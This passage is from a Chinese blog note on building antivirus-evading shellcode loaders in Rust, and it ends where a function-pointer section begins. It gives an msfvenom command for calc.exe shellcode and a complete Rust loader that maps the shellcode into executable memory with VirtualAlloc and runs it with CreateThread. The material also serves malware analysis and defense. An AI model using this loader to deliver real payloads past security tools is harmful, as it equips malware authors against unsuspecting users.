前言
这是半年前我学习Rust和免杀时的一些记录,最近打开知识库看到了这篇半年前的笔记,并且发现我常逛的安全社区都比较少有人分享Rust以及Rust免杀的帖子,于是想着将这篇笔记分享出来供大家参考和指正。由于我写这篇文章时也刚刚开始接触Rust,所以文中所涉及的知识和代码都有可能出现错误,所以再次说明这篇文章仅供参考并希望大家指正。
Shellcode加载方式
本文的主要目的是分享Rust对shellcode的加密混淆方式,所以对于shellcode加载只介绍两种基本的方式,可能在后续的文章中会对加载方式进行更多分享。
调用WinAPI
跟其他语言的shellcode加载器一样,要实现更多的shellcode加载方式,需要调用WinAPI。
执行shellcode的一般流程:
- 创建或获取一段可读写执行的内存空间
- 将shellcode移入这块内存空间
- 利用各种方式将程序执行的流程指向这块内存空间
Rust调用WinAPI需要先引入依赖,Cargo是Rust的一个包管理工具,要引入winapi依赖需要在Cargo.toml添加:
winapi = {version=“0.3.9”,features=[“winuser”,“processthreadsapi”,“memoryapi”,“errhandlingapi”,“synchapi”]}
这里以加载msf生成的弹计算器的shellcode为例,先使用msfvenom生成一段raw格式的shellcode,保存到calc.bin文件中,并复制到Rust的项目目录下。
msfvenom -p windows/x64/exec cmd=calc.exe -f raw -o calc.bin
在Rust中,可以使用include_bytes!宏将静态文件在编译时包含进程序中。
下面通过调用VirtualAlloc申请一段内存,并设置为PAGE_EXECUTE_READWRITE权限,具体参数建议查阅微软WinAPI文档。然后通过std::ptr::copy将shellcode移动到内存中,接着通过CreateThread创建线程,WaitForSingleObject等待线程结束。
参考:VirtualAlloc function, CreateThread function, WaitForSingleObject function
use std::mem::transmute;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::memoryapi::VirtualAlloc;
use winapi::um::processthreadsapi::CreateThread;
use winapi::um::synchapi::WaitForSingleObject;
fn main() {
let buffer = include_bytes!(“…\calc.bin”);
unsafe {
let ptr = VirtualAlloc(std::ptr::null_mut(), buffer.len(), 0x00001000, 0x40);
if GetLastError() == 0 {
std::ptr::copy(buffer.as_ptr() as *const u8, ptr as *mut u8, buffer.len());
let mut threadid = 0;
let threadhandle = CreateThread(
std::ptr::null_mut(),
0,
Some(transmute(ptr)),
std::ptr::null_mut(),
0,
&mut threadid,
);
WaitForSingleObject(threadhandle, 0xFFFFFFFF);
} else {
println!("执行失败:{}", GetLastError());
}
}
}
函数指针
link_section是Rust的一个attribute,它用来将特定的函数或者变量放到程序的指定的区块中,.text区块通常用来存储程序的执行代码,